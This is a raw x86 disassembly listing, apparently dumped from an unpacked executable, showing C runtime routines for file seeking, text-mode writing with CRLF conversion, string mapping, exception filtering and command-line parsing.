push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4226E9 mov [edi+4], ebx loc_4226E9: ; CODE XREF: sub_4226CD+17j push 1 push ebx push esi call sub_422633 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_422757 mov edx, [edi+0Ch] test dx, 108h jnz short loc_42270E sub eax, [edi+4] jmp loc_422820 ; --------------------------------------------------------------------------- loc_42270E: ; CODE XREF: sub_4226CD+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422748 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DAA60[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_42275F mov edx, ecx loc_422739: ; CODE XREF: sub_4226CD+79j cmp edx, eax jnb short loc_42275F cmp byte ptr [edx], 0Ah jnz short loc_422745 inc [ebp+var_8] loc_422745: ; CODE XREF: sub_4226CD+73j inc edx jmp short loc_422739 ; --------------------------------------------------------------------------- loc_422748: ; CODE XREF: sub_4226CD+50j test dl, 80h jnz short loc_42275F mov dword_4D9714, 16h loc_422757: ; CODE XREF: sub_4226CD+2Dj or eax, 0FFFFFFFFh jmp loc_422820 ; --------------------------------------------------------------------------- loc_42275F: ; CODE XREF: sub_4226CD+68j ; sub_4226CD+6Ej ... cmp [ebp+var_4], 0 jnz short loc_42276D mov eax, [ebp+var_8] jmp loc_422820 ; --------------------------------------------------------------------------- loc_42276D: ; CODE XREF: sub_4226CD+96j test byte ptr [edi+0Ch], 1 jz loc_422818 mov edx, [edi+4] test edx, edx jnz short loc_422786 and [ebp+var_8], edx jmp loc_422818 ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_4226CD+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_422812 push 2 push 0 push [ebp+var_C] call sub_422633 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4227D9 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4227C4: ; CODE XREF: sub_4226CD+104j cmp eax, ecx jnb short loc_4227D3 cmp byte ptr [eax], 0Ah jnz short loc_4227D0 inc [ebp+arg_0] loc_4227D0: ; CODE XREF: sub_4226CD+FEj inc eax jmp short loc_4227C4 ; --------------------------------------------------------------------------- loc_4227D3: ; CODE XREF: sub_4226CD+F9j test byte ptr [edi+0Dh], 20h jmp short loc_42280D ; --------------------------------------------------------------------------- loc_4227D9: ; CODE XREF: sub_4226CD+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422633 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_422800 mov ecx, [edi+0Ch] test cl, 8 jz short loc_422800 test ch, 4 jz short loc_422803 loc_422800: ; CODE XREF: sub_4226CD+124j ; sub_4226CD+12Cj mov eax, [edi+18h] loc_422803: ; CODE XREF: sub_4226CD+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_42280D: ; CODE XREF: sub_4226CD+10Aj jz short loc_422812 inc [ebp+arg_0] loc_422812: ; CODE XREF: sub_4226CD+D9j ; sub_4226CD:loc_42280Dj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422818: ; CODE XREF: sub_4226CD+A4j ; sub_4226CD+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422820: ; CODE XREF: sub_4226CD+3Cj ; sub_4226CD+8Dj ... pop edi pop esi pop ebx leave retn sub_4226CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422825 proc near ; CODE XREF: sub_41DA54+A2p ; sub_41E32B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DAB60 push esi push edi jnb loc_4229B9 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_4229B9 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_422876 loc_42286F: ; CODE XREF: sub_422825+177j xor eax, eax jmp loc_4229CD ; --------------------------------------------------------------------------- loc_422876: ; CODE XREF: sub_422825+48j test al, 20h jz short loc_422886 push 2 push edi push ecx call sub_422633 add esp, 0Ch loc_422886: ; CODE XREF: sub_422825+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422955 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_42298D loc_4228A6: ; CODE XREF: sub_422825+F5j lea eax, [ebp+var_414] loc_4228AC: ; CODE XREF: sub_422825+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4228E0 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4228CB inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4228CB: ; CODE XREF: sub_422825+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4228AC loc_4228E0: ; CODE XREF: sub_422825+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2720000h nop test eax, eax jz short loc_42294A mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_42291C mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_4228A6 loc_42291C: ; CODE XREF: sub_422825+EAj ; sub_422825+12Ej xor edi, edi loc_42291E: ; CODE XREF: sub_422825+150j ; sub_422825+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_4229B4 cmp [ebp+arg_0], edi jz short loc_42298D push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422982 mov dword_4D9714, 9 mov dword_4D9718, eax jmp loc_4229CA ; --------------------------------------------------------------------------- loc_42294A: ; CODE XREF: sub_422825+E0j call near ptr 26908A7h nop mov [ebp+arg_0], eax jmp short loc_42291C ; --------------------------------------------------------------------------- loc_422955: ; CODE XREF: sub_422825+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2720000h test eax, eax jz short loc_422977 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_42291E ; --------------------------------------------------------------------------- loc_422977: ; CODE XREF: sub_422825+145j call near ptr 26908A7h nop mov [ebp+arg_0], eax jmp short loc_42291E ; --------------------------------------------------------------------------- loc_422982: ; CODE XREF: sub_422825+10Fj push [ebp+arg_0] call sub_420314 pop ecx jmp short loc_4229CA ; --------------------------------------------------------------------------- loc_42298D: ; CODE XREF: sub_422825+7Bj ; sub_422825+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_4229A2 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_42286F loc_4229A2: ; CODE XREF: sub_422825+16Fj mov dword_4D9714, 1Ch mov dword_4D9718, edi jmp short loc_4229CA ; --------------------------------------------------------------------------- loc_4229B4: ; CODE XREF: sub_422825+FEj sub eax, [ebp+var_10] jmp short loc_4229CD ; --------------------------------------------------------------------------- loc_4229B9: ; CODE XREF: sub_422825+15j ; sub_422825+37j and dword_4D9718, 0 mov dword_4D9714, 9 loc_4229CA: ; CODE XREF: sub_422825+120j ; sub_422825+166j ... or eax, 0FFFFFFFFh loc_4229CD: ; CODE XREF: sub_422825+4Cj ; sub_422825+192j pop edi pop esi pop ebx leave retn sub_422825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229D2 proc near ; CODE XREF: sub_41DD4A+47p ; sub_41DD4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4D97E8, edi jnz short loc_422A48 push edi push edi push 1 pop ebx push ebx push offset dword_427908 mov esi, 100h push esi push edi nop call near ptr 2640000h test eax, eax jz short loc_422A26 mov dword_4D97E8, ebx jmp short loc_422A48 ; --------------------------------------------------------------------------- loc_422A26: ; CODE XREF: sub_4229D2+4Aj push edi push edi push ebx push offset word_4C91BC push esi push edi nop call near ptr 2650000h test eax, eax jz loc_422B60 mov dword_4D97E8, 2 loc_422A48: ; CODE XREF: sub_4229D2+2Ej ; sub_4229D2+52j cmp [ebp+arg_C], edi jle short loc_422A5D push [ebp+arg_C] push [ebp+arg_8] call sub_42605C pop ecx pop ecx mov [ebp+arg_C], eax loc_422A5D: ; CODE XREF: sub_4229D2+79j mov eax, dword_4D97E8 cmp eax, 2 jnz short loc_422A84 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_422B62 ; --------------------------------------------------------------------------- loc_422A84: ; CODE XREF: sub_4229D2+93j cmp eax, 1 jnz loc_422B60 cmp [ebp+arg_18], edi jnz short loc_422A9A mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_422A9A: ; CODE XREF: sub_4229D2+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2700000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422B60 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422AF5 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422AF5: ; CODE XREF: sub_4229D2+10Ej cmp [ebp+var_24], edi jz short loc_422B60 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2700000h test eax, eax jz short loc_422B60 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422B60 test byte ptr [ebp+arg_4+1], 4 jz short loc_422B74 cmp [ebp+arg_14], edi jz loc_422BEF cmp esi, [ebp+arg_14] jg short loc_422B60 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jnz loc_422BEF loc_422B60: ; CODE XREF: sub_4229D2+66j ; sub_4229D2+B5j ... xor eax, eax loc_422B62: ; CODE XREF: sub_4229D2+ADj ; sub_4229D2+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422B74: ; CODE XREF: sub_4229D2+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BA8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422BA8: ; CODE XREF: sub_4229D2+1C2j cmp ebx, edi jz short loc_422B60 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jz short loc_422B60 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422BCF push edi push edi jmp short loc_422BD5 ; --------------------------------------------------------------------------- loc_422BCF: ; CODE XREF: sub_4229D2+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422BD5: ; CODE XREF: sub_4229D2+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2841072h mov esi, eax cmp esi, edi jz loc_422B60 loc_422BEF: ; CODE XREF: sub_4229D2+165j ; sub_4229D2+188j mov eax, esi jmp loc_422B62 sub_4229D2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422D37 test eax, eax pop ecx jz loc_422D2B mov ebx, [eax+8] test ebx, ebx jz loc_422D2B cmp ebx, 5 jnz short loc_422C27 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422D34 ; --------------------------------------------------------------------------- loc_422C27: ; CODE XREF: ___:00422C19j cmp ebx, 1 jz loc_422D26 mov ecx, dword_4D97EC mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4D97EC, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422D16 mov ecx, dword_43ACD0 mov edx, dword_43ACD4 add edx, ecx push esi cmp ecx, edx jge short loc_422C76 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43AC60h[esi*4] loc_422C6D: ; CODE XREF: ___:00422C74j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422C6D loc_422C76: ; CODE XREF: ___:00422C5Fj mov eax, [eax] mov esi, dword_43ACDC cmp eax, 0C000008Eh jnz short loc_422C91 mov dword_43ACDC, 83h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422C91: ; CODE XREF: ___:00422C83j cmp eax, 0C0000090h jnz short loc_422CA4 mov dword_43ACDC, 81h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CA4: ; CODE XREF: ___:00422C96j cmp eax, 0C0000091h jnz short loc_422CB7 mov dword_43ACDC, 84h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CB7: ; CODE XREF: ___:00422CA9j cmp eax, 0C0000093h jnz short loc_422CCA mov dword_43ACDC, 85h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CCA: ; CODE XREF: ___:00422CBCj cmp eax, 0C000008Dh jnz short loc_422CDD mov dword_43ACDC, 82h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CDD: ; CODE XREF: ___:00422CCFj cmp eax, 0C000008Fh jnz short loc_422CF0 mov dword_43ACDC, 86h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CF0: ; CODE XREF: ___:00422CE2j cmp eax, 0C0000092h jnz short loc_422D01 mov dword_43ACDC, 8Ah loc_422D01: ; CODE XREF: ___:00422C8Fj ; ___:00422CA2j ... push dword_43ACDC push 8 call ebx pop ecx mov dword_43ACDC, esi pop ecx pop esi jmp short loc_422D1E ; --------------------------------------------------------------------------- loc_422D16: ; CODE XREF: ___:00422C48j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422D1E: ; CODE XREF: ___:00422D14j mov eax, [ebp+8] mov dword_4D97EC, eax loc_422D26: ; CODE XREF: ___:00422C2Aj or eax, 0FFFFFFFFh jmp short loc_422D34 ; --------------------------------------------------------------------------- loc_422D2B: ; CODE XREF: ___:00422C05j ; ___:00422C10j push dword ptr [ebp+0Ch] nop call near ptr 2630000h loc_422D34: ; CODE XREF: ___:00422C22j ; ___:00422D29j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422D37 proc near ; CODE XREF: ___:00422BFDp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43ACD8 cmp dword_43AC58, edx push esi mov eax, offset dword_43AC58 jz short loc_422D64 lea esi, [ecx+ecx*2] lea esi, ds:43AC58h[esi*4] loc_422D59: ; CODE XREF: sub_422D37+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422D64 cmp [eax], edx jnz short loc_422D59 loc_422D64: ; CODE XREF: sub_422D37+16j ; sub_422D37+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43AC58h[ecx*4] cmp eax, ecx jnb short loc_422D77 cmp [eax], edx jz short locret_422D79 loc_422D77: ; CODE XREF: sub_422D37+3Aj xor eax, eax locret_422D79: ; CODE XREF: sub_422D37+3Ej retn sub_422D37 endp ; --------------------------------------------------------------------------- cmp dword_4DADAC, 0 jnz short loc_422D88 call sub_4201A2 loc_422D88: ; CODE XREF: ___:00422D81j push esi mov esi, dword_4DADA4 mov al, [esi] cmp al, 22h jnz short loc_422DBA loc_422D95: ; CODE XREF: ___:00422DADj ; ___:00422DB0j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422DB2 test al, al jz short loc_422DB2 movzx eax, al push eax call sub_424C46 test eax, eax pop ecx jz short loc_422D95 inc esi jmp short loc_422D95 ; --------------------------------------------------------------------------- loc_422DB2: ; CODE XREF: ___:00422D9Bj ; ___:00422D9Fj cmp byte ptr [esi], 22h jnz short loc_422DC4 loc_422DB7: ; CODE XREF: ___:00422DCCj inc esi jmp short loc_422DC4 ; --------------------------------------------------------------------------- loc_422DBA: ; CODE XREF: ___:00422D93j cmp al, 20h jbe short loc_422DC4 loc_422DBE: ; CODE XREF: ___:00422DC2j inc esi cmp byte ptr [esi], 20h ja short loc_422DBE loc_422DC4: ; CODE XREF: ___:00422DB5j ; ___:00422DB8j ... mov al, [esi] test al, al jz short loc_422DCE cmp al, 20h jbe short loc_422DB7 loc_422DCE: ; CODE XREF: ___:00422DC8j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DADAC, ebx push esi push edi jnz short loc_422DE4 call sub_4201A2 loc_422DE4: ; CODE XREF: ___:00422DDDj mov esi, dword_4D9788 xor edi, edi loc_422DEC: ; CODE XREF: ___:00422E02j mov al, [esi] cmp al, bl jz short loc_422E04 cmp al, 3Dh jz short loc_422DF7 inc edi loc_422DF7: ; CODE XREF: ___:00422DF4j push esi call sub_41B960 pop ecx lea esi, [esi+eax+1] jmp short loc_422DEC ; --------------------------------------------------------------------------- loc_422E04: ; CODE XREF: ___:00422DF0j lea eax, ds:4[edi*4] push eax call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx mov dword_4D973C, esi jnz short loc_422E26 push 9 call sub_41E1C9 pop ecx loc_422E26: ; CODE XREF: ___:00422E1Cj mov edi, dword_4D9788 cmp [edi], bl jz short loc_422E69 push ebp loc_422E31: ; CODE XREF: ___:00422E66j push edi call sub_41B960 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422E62 push ebp call sub_41BC9B cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422E55 push 9 call sub_41E1C9 pop ecx loc_422E55: ; CODE XREF: ___:00422E4Bj push edi push dword ptr [esi] call sub_41C620 pop ecx add esi, 4 pop ecx loc_422E62: ; CODE XREF: ___:00422E3Ej add edi, ebp cmp [edi], bl jnz short loc_422E31 pop ebp loc_422E69: ; CODE XREF: ___:00422E2Ej push dword_4D9788 call sub_41BA31 pop ecx mov dword_4D9788, ebx mov [esi], ebx pop edi pop esi mov dword_4DADA8, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DADAC, ebx push esi push edi jnz short loc_422EA2 call sub_4201A2 loc_422EA2: ; CODE XREF: ___:00422E9Bj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2680000h mov eax, dword_4DADA4 mov off_4D974C, esi mov edi, esi cmp [eax], bl jz short loc_422EC7 mov edi, eax loc_422EC7: ; CODE XREF: ___:00422EC3j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_422F24 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BC9B mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422EF7 push 8 call sub_41E1C9 pop ecx loc_422EF7: ; CODE XREF: ___:00422EEDj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_422F24 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4D9734, esi pop edi pop esi mov dword_4D9730, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F24 proc near ; CODE XREF: ___:00422ED2p ; ___:00422F08p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_422F4E mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_422F4E: ; CODE XREF: sub_422F24+20j cmp byte ptr [eax], 22h jnz short loc_422F97 loc_422F53: ; CODE XREF: sub_422F24+58j ; sub_422F24+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_422F85 test dl, dl jz short loc_422F85 movzx edx, dl test byte_4DAC81[edx], 4 jz short loc_422F78 inc dword ptr [ecx] test esi, esi jz short loc_422F78 mov dl, [eax] mov [esi], dl inc esi inc eax loc_422F78: ; CODE XREF: sub_422F24+46j ; sub_422F24+4Cj inc dword ptr [ecx] test esi, esi jz short loc_422F53 mov dl, [eax] mov [esi], dl inc esi jmp short loc_422F53 ; --------------------------------------------------------------------------- loc_422F85: ; CODE XREF: sub_422F24+36j ; sub_422F24+3Aj inc dword ptr [ecx] test esi, esi jz short loc_422F8F and byte ptr [esi], 0 inc esi loc_422F8F: ; CODE XREF: sub_422F24+65j cmp byte ptr [eax], 22h jnz short loc_422FDA inc eax jmp short loc_422FDA ; --------------------------------------------------------------------------- loc_422F97: ; CODE XREF: sub_422F24+2Dj ; sub_422F24+A5j inc dword ptr [ecx] test esi, esi jz short loc_422FA2 mov dl, [eax] mov [esi], dl inc esi loc_422FA2: ; CODE XREF: sub_422F24+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DAC81[ebx], 4 jz short loc_422FBD inc dword ptr [ecx] test esi, esi jz short loc_422FBC mov bl, [eax] mov [esi], bl inc esi loc_422FBC: ; CODE XREF: sub_422F24+91j inc eax loc_422FBD: ; CODE XREF: sub_422F24+8Bj cmp dl, 20h jz short loc_422FCB test dl, dl jz short loc_422FCF cmp dl, 9 jnz short loc_422F97 loc_422FCB: ; CODE XREF: sub_422F24+9Cj test dl, dl jnz short loc_422FD2 loc_422FCF: ; CODE XREF: sub_422F24+A0j dec eax jmp short loc_422FDA ; --------------------------------------------------------------------------- loc_422FD2: ; CODE XREF: sub_422F24+A9j test esi, esi jz short loc_422FDA and byte ptr [esi-1], 0 loc_422FDA: ; CODE XREF: sub_422F24+6Ej ; sub_422F24+71j ... and [ebp+arg_10], 0 loc_422FDE: ; CODE XREF: sub_422F24+19Ej cmp byte ptr [eax], 0 jz loc_4230C7 loc_422FE7: ; CODE XREF: sub_422F24+D0j mov dl, [eax] cmp dl, 20h jz short loc_422FF3 cmp dl, 9 jnz short loc_422FF6 loc_422FF3: ; CODE XREF: sub_422F24+C8j inc eax jmp short loc_422FE7 ; --------------------------------------------------------------------------- loc_422FF6: ; CODE XREF: sub_422F24+CDj cmp byte ptr [eax], 0 jz loc_4230C7 test edi, edi jz short loc_42300B mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42300B: ; CODE XREF: sub_422F24+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423010: ; CODE XREF: sub_422F24+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423019: ; CODE XREF: sub_422F24+FCj cmp byte ptr [eax], 5Ch jnz short loc_423022 inc eax inc ebx jmp short loc_423019 ; --------------------------------------------------------------------------- loc_423022: ; CODE XREF: sub_422F24+F8j cmp byte ptr [eax], 22h jnz short loc_423053 test bl, 1 jnz short loc_423051 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423040 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423040 mov eax, edx jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423040: ; CODE XREF: sub_422F24+10Dj ; sub_422F24+116j mov [ebp+arg_0], edi loc_423043: ; CODE XREF: sub_422F24+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423051: ; CODE XREF: sub_422F24+106j shr ebx, 1 loc_423053: ; CODE XREF: sub_422F24+101j mov edx, ebx dec ebx test edx, edx jz short loc_423068 inc ebx loc_42305B: ; CODE XREF: sub_422F24+142j test esi, esi jz short loc_423063 mov byte ptr [esi], 5Ch inc esi loc_423063: ; CODE XREF: sub_422F24+139j inc dword ptr [ecx] dec ebx jnz short loc_42305B loc_423068: ; CODE XREF: sub_422F24+134j mov dl, [eax] test dl, dl jz short loc_4230B8 cmp [ebp+arg_10], 0 jnz short loc_42307E cmp dl, 20h jz short loc_4230B8 cmp dl, 9 jz short loc_4230B8 loc_42307E: ; CODE XREF: sub_422F24+14Ej cmp [ebp+arg_0], 0 jz short loc_4230B2 test esi, esi jz short loc_4230A1 movzx ebx, dl test byte_4DAC81[ebx], 4 jz short loc_42309A mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42309A: ; CODE XREF: sub_422F24+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4230B0 ; --------------------------------------------------------------------------- loc_4230A1: ; CODE XREF: sub_422F24+162j movzx edx, dl test byte_4DAC81[edx], 4 jz short loc_4230B0 inc eax inc dword ptr [ecx] loc_4230B0: ; CODE XREF: sub_422F24+17Bj ; sub_422F24+187j inc dword ptr [ecx] loc_4230B2: ; CODE XREF: sub_422F24+15Ej inc eax jmp loc_423010 ; --------------------------------------------------------------------------- loc_4230B8: ; CODE XREF: sub_422F24+148j ; sub_422F24+153j ... test esi, esi jz short loc_4230C0 and byte ptr [esi], 0 inc esi loc_4230C0: ; CODE XREF: sub_422F24+196j inc dword ptr [ecx] jmp loc_422FDE ; --------------------------------------------------------------------------- loc_4230C7: ; CODE XREF: sub_422F24+BDj ; sub_422F24+D5j test edi, edi jz short loc_4230CE and dword ptr [edi], 0 loc_4230CE: ; CODE XREF: sub_422F24+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_422F24 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4D98F4 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423126 call ebp mov esi, eax cmp esi, ebx jz short loc_423107 mov dword_4D98F4, 1 jmp short loc_42312F ; --------------------------------------------------------------------------- loc_423107: ; CODE XREF: ___:004230F9j nop call near ptr 2620AF2h mov edi, eax cmp edi, ebx jz loc_423201 mov dword_4D98F4, 2 jmp loc_4231B5 ; --------------------------------------------------------------------------- loc_423126: ; CODE XREF: ___:004230F1j cmp eax, 1 jnz loc_4231B0 loc_42312F: ; CODE XREF: ___:00423105j cmp esi, ebx jnz short loc_42313F call ebp mov esi, eax cmp esi, ebx jz loc_423201 loc_42313F: ; CODE XREF: ___:00423131j cmp [esi], bx mov eax, esi jz short loc_423154 loc_423146: ; CODE XREF: ___:0042314Bj ; ___:00423152j inc eax inc eax cmp [eax], bx jnz short loc_423146 inc eax inc eax cmp [eax], bx jnz short loc_423146 loc_423154: ; CODE XREF: ___:00423144j sub eax, esi mov edi, dword_427194 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_4231A5 push ebp call sub_41BC9B cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_4231A5 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_4231A1 push dword ptr [esp+10h] call sub_41BA31 pop ecx mov [esp+10h], ebx loc_4231A1: ; CODE XREF: ___:00423191j mov ebx, [esp+10h] loc_4231A5: ; CODE XREF: ___:00423171j ; ___:00423180j push esi nop call near ptr 2620DE3h mov eax, ebx jmp short loc_423203 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: ___:00423129j cmp eax, 2 jnz short loc_423201 loc_4231B5: ; CODE XREF: ___:00423121j cmp edi, ebx jnz short loc_4231C5 nop call near ptr 2620AF2h mov edi, eax cmp edi, ebx jz short loc_423201 loc_4231C5: ; CODE XREF: ___:004231B7j cmp [edi], bl mov eax, edi jz short loc_4231D5 loc_4231CB: ; CODE XREF: ___:004231CEj ; ___:004231D3j inc eax cmp [eax], bl 